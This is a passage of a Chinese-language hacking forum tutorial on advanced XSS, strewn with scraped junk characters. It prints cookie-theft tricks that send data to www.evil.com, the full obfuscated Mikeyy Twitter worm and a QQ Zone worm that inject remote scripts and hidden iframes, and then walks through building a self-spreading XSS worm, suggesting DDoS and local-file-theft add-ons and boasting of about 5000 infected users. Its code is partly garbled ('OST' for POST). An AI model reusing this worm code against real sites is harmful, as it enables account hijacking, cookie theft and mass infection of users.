RewriteCond %{REQUEST_METHOD} ^TRACE
1 J, Z& @( N3 `) q" @  o
" m( d/ G5 J# @6 E2 mRewriteRule .* - [F]


' ?. l* B: n( `3 |
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

, i' v7 `0 }7 @/ `: P4 P; v- Tacl TRACE method TRACE
  G$ f  p' w) v' u
- @0 W0 f, g. l7 c1 f...

5 s* }" N: t- O# C/ O/ p) `http_access deny TRACE
% N+ d0 e% h3 D3 p复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 U; |1 x$ j4 L: U" ^
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. n' W0 G3 K4 {4 j; z
5 t( ]- L+ F, sXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

7 L/ Q2 Y9 W* L; AXmlHttp.send(null);
+ }" ?/ @4 ]! G. L
</script>
$ F# F- L. d1 M' ]3 ]( o复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
& M' e$ T7 q; g5 a) A4 P
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


3 ^7 g) _. A3 s( X% u
! z- V/ l9 c/ ]; sXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
* ]% @1 o' P  W4 F" d
XmlHttp.send(null);

; H, W- n- C3 F" T/ I' V<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
% ~  }! f1 A# V# t  D4 j( Z第一版:
  下载 (5.1 KB)

4 y1 X9 O5 C( N6 z6 天前 08:27
+ ?- g% {: ~: @. {# p! t: m
4 w8 d' A. m2 T0 S# F2 G+ A+ a第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
6 M6 ?" p- E" U0 C( M  K
- l) [( e% W1 v* p. {: [0 e5 W   2.   

   3. function XHConn(){  
4 P1 T$ U) k" ^* s0 F- t
8 M4 _  p4 _3 P. ^( ?  @+ k   4.   var _0x6687x2,_0x6687x3=false;  
/ p4 {! i! ~2 m& l
+ c4 N, z0 Z1 i! \   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

: O4 x. K# W% p/ K   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
* U4 p* h+ X+ m
( o) j. p# p& ^6 y: D# Q   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

' V. }8 N! C8 g   2.   var content = document.documentElement.innerHTML;  

9 _+ l: d* {6 L# e   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
- [3 R/ |: _5 c' j9 l
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
3 T- a% i7 [, a) U7 r
   7.   var authtoken=authtoken[1];  
- P5 X" ?: v' [# n) \. ?
   8.   var randomUpdate= new Array();  

6 J  g2 n, X: c5 A   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
7 }1 ]9 _% i4 t8 s2 A: J
# O& a& ~) i1 l) B  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

0 z' y0 f( ?& T4 k' Q5 D  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
* A  V4 D6 H0 b0 E9 I5 }
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
9 I/ x+ j8 ^! s. p
5 u7 I. j# ]' c0 v  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
2 e* o3 \3 X( }' w& _; o( H
" H, _. C! i4 C, y  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

# q$ ~! k7 x' i) f7 e+ |$ [  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

- w0 G0 c$ |$ v  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
8 O; }, m/ Y2 j( ]  C* f" I
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

, V- r# _/ e- C8 {- Y  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
+ k9 R1 g* t" X5 g' N) ?
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
# R0 H) d% `3 J& x( Y/ z  D
  L: R% e6 i- ^  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
- F# \6 g5 ]  Q# \+ F* z
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
9 K4 X5 \/ f* u% B; J
  24.     
9 S2 i1 u/ V. X, c8 o
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
2 L, f! m0 M4 W
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
8 C: ^1 v- \6 p6 I5 s: Q- k
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  E2 f6 m4 d! W& v& U* O6 W: K9 \  30.   var _0xf81bx1c="Mikeyy";  
' }% c. ^' b: q% w8 k
7 E7 B1 V9 ?3 |% }5 _  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
% b6 A3 Y5 G1 p8 \; r
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

& e! z2 G/ f3 m+ E" Z8 v% _  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
7 x5 z# G5 ?' E3 o' n" Y
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
. O* I" y2 d4 k6 T& f( u8 f; x6 C4 |# o3 q
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

; w4 Q, R6 t- R6 a2 h  38.     

5 s8 o& G3 P- W4 h* e0 T7 s* o  39. } ;  

  40. setTimeout(wait(),5250);  
2 b9 ]7 D& B( d6 P& w# G4 t复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
- G3 M. r/ q0 d& Z( j
4 x$ Y/ a# k' A

8 |% }# V6 T7 a' jvar shendu;shendu=4;

//---------------global---v------------------------------------------
# c1 _, c  |' x" c; G, m' j
( }; S. d! `* k; W7 K//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

% [- k# a0 x1 B4 M' Y0 y/ Fvar myblogurl=new Array();var myblogid=new Array();
; T/ e; k6 v% `3 [8 h) O  X- x- `
        var gurl=document.location.href;
7 D2 ~% R: G6 E) u, u
        var gurle=gurl.indexOf("com/");
" L. S/ l* g% V' W7 B% R% o
        gurl=gurl.substring(0,gurle+3);        
; i6 r0 F2 ?3 ^) }# y; S
        var visitorID=top.document.documentElement.outerHTML;
/ x+ S. L$ d8 c7 Y
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

. o# W5 o4 Y+ `* h7 |. q4 t        visitorID=visitorID.substring(cookieS+14);

2 ]( p2 c2 z4 o4 F# ^- @        cookieS=visitorID.indexOf(",");
( p* [. u9 I9 t; v, \
        visitorID=visitorID.substring(0,cookieS);

6 @" o9 @& S2 Q: r        get_my_blog(visitorID);

        DOshuamy();
3 m2 e) l, N  d+ c  G9 i* N+ [! c


//挂马

( x  T3 x& w4 L" K8 I( wfunction DOshuamy(){

* m6 K- {9 |/ ^. k; G! ivar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
. F  o! A3 X, z2 V! h. \
5 T' H3 e9 M8 L; nfunction get_my_blog(visitorID){
( E9 |, I" T  w2 c2 _
, _2 c0 j5 |% C4 o   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

0 D# v( w+ _2 ?& U. v   if(xhr){    //成功就执行下面的

, W% A. i+ k+ _7 [" }# C6 ~! h     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

0 t8 G. @. J  N3 d% l     xhr.send();guest=xhr.responseText;

& e0 l2 `0 f; @# F( [7 ^7 ~     get_my_blogurl(guest);    //执行这个函数
. V, N7 v  @% M$ o; i1 D( w9 h9 U
" K5 E4 R' |) N( M% [    }
* S- V+ m  X# o% }) R
}

5 l4 \, K* ~& B1 c* w

//这里似乎是判断没有登录的

function get_my_blogurl(guest){

% I, G2 ^1 F6 n9 ?( I& D  var mybloglist=guest;

  var myurls;var blogids;var blogide;

, s# ^7 M; v! F1 ?) m  for(i=0;i<shendu;i++){
8 R# g8 h* n6 X& M+ t
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

9 x1 M7 j1 X! @6 q: M4 I! T     if(myurls!=-1){    //找到了就执行下面的

3 n* R7 N9 R2 f: A2 X& x4 d         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');
( S* {5 m2 F; c4 N
7 P4 p1 ^) K: G2 c         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

1 {6 c/ n& o2 {7 n/ M; I}
9 \; ]0 ^! o: Y- t$ O7 A
get_my_testself();    //执行这个函数
* ?& ~8 J+ K: c3 E' M
9 N9 }' C1 F0 A}

" g3 r2 Y% H0 {# q" k

. p9 Z4 q) u; b) q6 X/ a, O//这里往哪跳就不知道了

- z* a# [) W# k6 ]* r+ x( Wfunction get_my_testself(){
- j$ }7 F) M2 q1 b
2 q: u$ z5 g/ K0 p. b( H+ b* z% A  for(i=0;i<myblogid.length;i++){    //获得blogid的值
& D% p* L; P, D; L
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
6 v7 d' V- {: U: ^
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
: @. V! D. z% B( r6 e
, P  [' V2 [4 Z) w, ?              xhr2.open("GET",url,false);     //打开上面的那个url

& m" k9 P( {6 E5 m% X              xhr2.send();

              guest2=xhr2.responseText;
! r0 v5 g( w9 \2 @2 }
$ }/ S+ {" R; R4 O              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

4 Z; N& J5 ~. @7 u6 O! @3 o  \              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 {/ w& S5 F4 ~# I
$ C* y$ z5 {; r6 X' g              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
7 y3 N5 s* }/ r8 z* z/ ?6 d
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
* L! y+ o# U# n3 }
                break;
4 Y3 Q) @0 I$ [/ `) ~0 M1 d$ P
               }

              if(mycheckit=="-1"){

5 G. q7 d' F' }5 n3 K, _                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

0 ^$ Y- l2 \& S& s3 [3 |* N& r               }

9 C6 A/ D$ Z0 @2 _        }      
6 z! A; W! O% i) ~* s8 O7 T! U
}

}
! E+ m" K( j( {' c


: g4 \) l- d8 y' w& W4 }: Y//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
% o$ F3 B# Z( w4 y& r
( m  W0 N8 J& R! z3 g    var XMLhttpObject=null;  
% i9 H, I. G' A
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
8 L3 D. N+ ^+ O6 X* E  A
    else  
/ ~  x  ~* Y/ `0 X2 y" Q+ b
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
% D- r2 }4 }3 u2 @
        for(var i=0;i<MSXML.length;i++)  
4 n& Z2 C$ w' X
        {  

+ E& b% j& {- z            try  
/ k. {! }1 [2 G4 X
. [: H/ ?) {2 |3 o" O9 q            {  
9 g% e! W' |/ d. D) n. m( w7 A
                XMLhttpObject=new ActiveXObject(MSXML);  
( E6 E8 L# q2 v( Z
                break;  

            }  
/ |) A% W4 t: i
: x9 b, f$ X5 ^, |2 Q            catch (ex) {  
. H' N5 E. Z  I4 E# w9 [
            }  

. ^# R: X" z. ^! H0 T" l4 R         }  
4 E1 @; W# @# W( `. P0 h0 A
      }
) h& F3 k* ~: m. f9 n& B8 w* N
0 \7 e2 j# }, J$ S3 Zreturn XMLhttpObject;
3 p6 m4 `8 F5 M* V0 o' H9 j
}  



//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
# b- J( [% B* h. Y, F" E
6 V3 S# i8 V* r6 Z9 K# Ds2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

" `. a/ O4 y) X( ns2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

; o5 s# E6 L: D; q  \( A$ W9 s}


0 S3 c) ~, p( u0 F2 G* S$ a
' [0 A: i0 u' ?5 b3 D  b+ Rfunction add_jsdel(visitorID,targetblogurlid,gurl){
$ w& ?; c) g8 d9 O" X
var s2=document.createElement('script');
/ [; ^: K3 Q8 l. L  l% p
; S7 t% l# Z# j$ Z8 p1 |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

* y; `: Q3 i9 {8 J  _7 N3 G/ F1 x$ }s2.type='text/javascript';
0 p9 Y# |* c" \8 t
document.getElementsByTagName('head').item(0).appendChild(s2);
; {! [+ m' y$ x3 g
5 s, P, _0 K- Q* r' q7 J}
, ]1 c; J) J" }7 N复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 ~: }; c" H/ H/ {1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
1 F7 q0 L" @; }( F( H
: f3 v8 v$ n& R/ y0 n% I2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

& {0 H' L) z& {5 p9 |6 i# m综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
9 k6 x( e2 ~( A) p- h7 p2 _
0 A! G5 q3 }+ y7 B
$ w1 ~( t& x) z' o下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
& }0 _, \9 p5 i" O! v7 s
首先,自然是判断不同浏览器,创建不同的对象var request = false;
: w5 V6 z9 E) h! Y2 U
/ h8 E  l( m% B4 rif(window.XMLHttpRequest) {
. R) w& u4 R; d9 J/ J4 P  ?% r
9 X& G% e, C, p" Irequest = new XMLHttpRequest();

if(request.overrideMimeType) {
( V' ?3 ^" w% l/ R% {% F
* |7 E# O' b1 j; F* e  [; xrequest.overrideMimeType('text/xml');

}
  H  V$ E* o! c$ z. r
. U# I) z" n4 b7 `! R0 w. U; s( ?} else if(window.ActiveXObject) {
# \0 Q1 u7 I* r9 U
- Q8 [, W7 ?! ?! f/ Q3 @$ Q% H, jvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& M: y! v+ U1 }' ]: C+ l5 M
) K$ N. O3 p* W4 Nfor(var i=0; i<versions.length; i++) {

9 M  |( M0 V1 c6 Z  M% jtry {
+ H2 m3 j2 w) e' X. D
, W% J( {" j' ^3 F5 n2 mrequest = new ActiveXObject(versions);
+ W8 s- y7 D4 m# u5 r
} catch(e) {}
/ u5 t, b) w  F  {7 w
" B0 I: g# g, t9 s" Z}

* @; _3 e  z$ D( k9 `/ G0 s}
$ X+ y" p4 L& q4 E) H
xmlHttpReq=request;
4 m4 B& A6 W6 w3 v. k1 a$ x+ X复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
. q7 ^: \! D4 S
        var Browser_Version=parseFloat(navigator.appVersion);
! r, Z( ?" L2 _1 m; R6 _
/ {: q/ `( m! p) {9 P        var Browser_Agent=navigator.userAgent;

        
+ H4 A1 F$ W$ B3 h
, ^+ n+ O; k! _7 n- {        var Actual_Version,Actual_Name;

        
0 R( }, ]/ N6 U
! Z8 e$ o# X8 n$ l" d        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
2 i- w& ^! M3 E0 J3 ]) B8 [5 c/ z
        var is_NN=(Browser_Name=="Netscape");

. ^  W9 o& m# W: g. E6 P# F4 F$ {        var is_Ch=(Browser_Name=="Chrome");

8 g; }; k( `1 c        

        if(is_NN){

            if(Browser_Version>=5.0){

+ K0 p! Z; J8 a7 m+ G4 Q+ U" i                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
# k/ {! p5 B' |7 W& L1 ~/ V' G  E7 L
: ]: l9 e8 ?$ n                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
- g2 Z5 d. ~; I$ ?4 n' Q8 z& k8 H' c


- e* T) @) N" A, d6 o                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
% w. g2 t2 u. j: U* [6 {1 P
5 Z5 n7 w$ C: `! K1 H  Q! d" [            else{

* C& p% K! Z; f6 B: o8 x                Actual_Version=Browser_Version;
) M, T: [9 z& g1 b% D
                Actual_Name=Browser_Name;

' I7 _' o- O& W* |5 X- i8 Q            }

4 N' O" o8 R5 Z4 J/ M        }

, o; ~+ S: x2 q7 U0 V0 k2 I; J' X        else if(is_IE){
0 O" l# F! F" q: _
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
; q2 W1 K! e5 U6 R& @1 c
            Actual_Name=Browser_Name;

            
+ q$ |$ w9 \% _: x/ _) X* z$ [- o
            if(Browser_Agent.indexOf("Maxthon")!=-1){

8 Z. ]- B/ B/ ]! u6 h6 a                Actual_Name+="(Maxthon)";

8 r% |2 X7 P$ k5 Q' J# m& _            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
- z: v: r9 n! d' B3 j
& L. |% S0 Y# e( @$ m* |                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

5 z% @- @+ ]6 {                var tempend=Browser_Agent.length;

# F! r+ M* z' s' R- j4 N* _                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

, {3 v+ P! @: u# R5 o& p            }
( g0 m5 J$ C8 t7 k
; \6 E; p% |# u% u- r- _( q        }

+ |, j1 ~$ P1 i! x        else if(is_Ch){
9 l" I+ G* v/ \; B
            var Version_Start=Browser_Agent.indexOf("Chrome");

* w1 y7 ]$ U9 S% @7 F            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

( }" p9 _% w7 ~+ W            Actual_Name=Browser_Name;

! h8 s3 u: n$ }6 S# Z# W" _( Z            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
- Q# p( {% p& v+ D; H8 Z7 ]; ?3 `" F
                Actual_Name+="(Maxthon)";
# b0 Z. y  E/ S- i; ~
            }

/ y2 s3 i& Z3 L' l% m4 R9 c            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; X. W. w$ ~/ X$ [3 Q  g7 S
1 i  z7 ?, X" V( O% [! \0 N. @            }
: A+ L, r, g1 e& ]/ h- a7 c3 }( s
1 z3 ?0 I- g! f) o        }
& ~1 C, o# G4 f4 t8 o
$ L* G' ]% G* L+ A: c6 U9 c        else{
- l+ l& H1 }* j5 k
            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
0 j4 m1 }2 g6 `# A. R
        }

6 {4 M# V8 ~+ X: z& e- @

9 R) l4 E: R" H        navigator.Actual_Name=Actual_Name;
" F1 |: [( O# V! w3 b7 h9 l8 J
) s  V; s$ d* R# w3 q5 ]& V+ `        navigator.Actual_Version=Actual_Version;

2 z" M' W2 {4 e        

        this.Name=Actual_Name;
+ j4 c/ ^& R0 m/ o% Y/ [2 p4 H
        this.Version=Actual_Version;
: K* F3 q8 _5 H
    }
/ p/ a. _5 Q  _- t( V
    browserinfo();
& W. J; L! `9 d4 C$ s1 i
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

) S& l8 S; P# }% X: |& a( I* @    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
  w2 v1 T# j/ Z+ q4 H! s5 a
# l4 ]  ]/ i* Q& @# g. G: C2 x    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
( R5 p% D& G, X4 x复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ g/ A  X  f& N0 B' ~复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
9 v, [; E* M/ ?1 p- p' p; q
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

3 C- _( u4 x2 Y4 X. Bvar id=0;var result;
" w! m2 x- s9 ?! ?" y+ j' A
3 x- f+ O# v, h8 `/ z9 avar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
4 V% g2 T, ~. q) \, }; a" k- Q. @  P
9 w5 H: T/ A0 {, H+ H& b4 ^6 swhile ((result = patt.exec(resource)) != null)  {

1 W9 o, C* `9 k; ~) iid++;
/ c. @8 O) W2 P, s% I0 g" ^
$ i3 Q+ Z- Q( X. ?7 B5 ^}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
- N4 h8 n& \! N$ e. L  q1 z
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
1 T" V* e/ _5 X+ E; W6 j, f9 s
8 ?9 z* Z% w( g% G3 c1 xxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

1 u% ?" ?, {9 o7 t9 C* a5 axmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
/ b# \' v4 X! }
8 d' S/ Z7 D8 f6 Q' F" K5 m9 e! w# ?var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

$ B8 s$ a8 L9 c' W9 x8 l. u4 O  Q; fvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

3 j5 f/ @/ G4 X; x9 Avar post="wd="+wd;
8 [& H. C% W) z+ C# M% E1 d
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
, H: [) o' {/ g. i+ r
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 M' N; s: x0 j$ `/ X$ T$ z: Z6 l
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
+ ~- s; ?; E- G, c& Z. L! |& r; N3 d
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
/ r2 q, T* U6 k' H8 f$ @* T
9 H- ?. Q, {0 k0 P) `% j  I}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
( s4 a' [2 o% O0 p
* k! z+ D3 f. z) Z$ y( W0 ]+ G

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


3 P; V# l3 Q& c/ G7 A5 Z0 l



% s. |- n8 V  C6 l
9 c' L- j9 t$ e; p2 c1 D: G
( p1 r2 w6 J% t1 g本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
- w" s  B, p# X0 a" D+ M空虚浪子心BLOG http://www.inbreak.net
. I9 f1 s  k; z0 JXeye Team http://xeye.us/
1 a) J  `: _3 K2 k1 s